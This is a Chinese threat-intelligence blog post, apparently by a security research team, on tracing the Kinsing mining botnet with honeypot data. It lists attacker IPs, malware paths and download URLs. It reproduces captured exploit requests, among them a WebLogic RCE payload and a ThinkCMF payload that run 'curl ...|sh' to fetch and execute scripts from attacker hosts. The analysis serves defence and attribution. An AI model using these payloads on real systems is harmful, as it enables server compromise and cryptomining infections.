我们对于互联网中未知的世界总是充满好奇,就像是小时候仰望星空的孩子,想要了解满天星斗的意义,在互联网世界 IP 就像是天上的星星,背后也对应着一个个的个体。在日常状态下,我们是无法感知到整个互联网世界的攻击活动。我们可以利用现代化蜜罐技术,通过互联网空间中部署的多个可以感知互联网空间行为的点,感知互联网中自动化攻击的事件;通过长时间的对攻击事件的记录,使得我们可以根据积累的数据梳理出有特定关联的 IP 攻击团伙,发现未出现过的漏洞,最新出现的自动化攻击的木马,使得整个互联网中的攻击行为变得可视化。
1. 攻击者ip情报;
2. 攻击的目标端口;
3. 攻击的目标服务;
4. 利用的漏洞情报;
5. 使用的木马下载地址情报;
1. 判断目标端口是否开放;
2. 判断目标服务是否是想要攻击的服务;
3. 判断是不是有漏洞的版本或者直接进行攻击测试;
4. 判断攻击成功,如果成功下一步增加木马下载相关操作的 payload 进行攻击。
1. 捕获全端口扫描行为记录,给端口扫描释放端口开放的信号;
2. 识别攻击者请求的协议,给予对应的协议数据响应;
/tmp/kdevtmpfsi
/var/lib/redis/kinsing2
/var/lib/redis/kinsing
/var/lock/linux.lock
以下是蜜罐捕获到的 kinsing 僵尸网络利用数据包,以下数据表示攻击者使用95.214.11.231 的 IP 对目标端口 6379 的 redis 服务,进行了 redis 主从备份,会将 45.10.88.124 配置成主服务器,备份 red2.so 的可执行程序。
最早发现攻击时间为2019年12月14日,攻击者最早使用的 IP 为45.10.88.103 ,早期可以下载木马 45.10.88.103/kinsing,说明该 IP 大概率是攻击者的 IP,而不是失陷 IP:
我们将每一个有 red2.so 相关关键字的请求的 IP 全部标记成 Kinsing_miners kinsing 僵尸网络。
通过提取攻击记录,我们发现木马下载的 IP 地址有8个,其中7个 8886 端口的都是 redis 主从备份的端口,http://188.119.112.132/wb.sh 则是攻击者的另外一种木马下载的途径。
| 45.10.88.124:8886 |
| 194.40.243.61:8886 |
| 194.40.243.61:8880 |
| 188.119.112.132:8886 |
| http://188.119.112.132/wb.sh |
| 45.137.155.55:8886 |
| 194.40.243.167:8886 |
| 92.242.40.225:8886 |
| 194.38.20.199:8886 |
根据另外一条木马下载地址,找到对应的攻击 IP,发现该 IP 使用多种 RCE 型漏洞传播该木马程序。
| 95.215.108.217
| /console/images/%252e%252e%252fconsole.portal
| POST
| {'content-length': '1243', 'accept-encoding': 'gzip', 'cmd': 'curl http://188.119.112.132/wb.sh|sh', 'connection': 'close', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'host': '106.75.71.81:80', 'content-type': 'application/x-www-form-urlencoded'}
| {'_nfpb': ['true'], 'nObject obj ': [' field.get(adapter)'], 'nString[] cmds ': [' System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}'], 'handle': ['com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread()'], '_pageLabel': [''], 'njava.lang.reflect.Field field ': [' adapter.getClass().getDeclaredField("connectionHandler")'], 'n weblogic.servlet.internal.ServletResponseImpl res ': [' (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req)'], 'nweblogic.work.WorkAdapter adapter ': [' executeThread.getCurrentWork()'], 'nweblogic.servlet.internal.ServletRequestImpl req ': [' (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj)'], 'nif (cmd !': [' null) {n String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next()'], 'nString cmd ': [' req.getHeader("cmd")']}
| Java RCE |
通过该 IP 攻击记录,攻击者还使用了 45.10.88.12 的 80 端口,存放木马下载程序 tf.sh。
| 95.215.108.217
| /
| GET
| {'host': '117.48.120.226:80', 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36', 'connection': 'close', 'accept-encoding': 'gzip'} | {'a': ['fetch'], 'content': ['<php>die(shell_exec("curl 45.10.88.124/tf.sh|sh"))</php>']}
| ThinkCMF Include File |
通过分析下载的 tf.sh,可以确定该 tf.sh 是 Kinsing miner 僵尸网络新的利用方式的变种木马下载地址,而不是其他僵尸网络程序。我们将请求包中含 /tf.sh 的 IP 标记成 Kinsing_miners 僵尸网络团伙控制的主机。
mysql> select count(*) from honeypot where trojan_familys="Kinsing_miners";
+----------+
| count(*) |
+----------+
| 1709 |
+----------+
2、Weblogic RCE(CVE-2020-14882)
3、Java RCE
4、Docker Engine API RCE
5、Confluence RCE
6、Confluence RCE(CVE-2019-3396)
7、Docker remote api unauthorized
-我们在“HFish”等你呦-
- END -
关于微步在线研究响应团队
本文始发于微信公众号(微步在线研究响应中心):僵尸网络团伙溯源之利用蜜罐数据
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论